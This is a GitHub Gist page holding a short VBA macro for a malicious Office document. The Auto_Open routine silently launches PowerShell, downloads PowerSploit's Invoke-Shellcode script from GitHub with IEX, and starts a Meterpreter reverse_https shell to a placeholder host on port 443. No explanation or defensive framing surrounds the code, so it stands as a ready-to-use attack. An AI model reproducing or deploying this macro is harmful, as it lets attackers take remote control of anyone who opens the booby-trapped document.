Skip to content

Instantly share code, notes, and snippets.

@SunnyHoi
Last active January 8, 2018 04:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save SunnyHoi/f43fe34dddc4586a0e243043467fefd9 to your computer and use it in GitHub Desktop.
Save SunnyHoi/f43fe34dddc4586a0e243043467fefd9 to your computer and use it in GitHub Desktop.
Sub Auto_Open()
Call Shell(“cmd.exe /c powershell.exe -noexit “”IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost x.x.x.x -Lport 443 -Force”””, vbHide)
End Sub
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment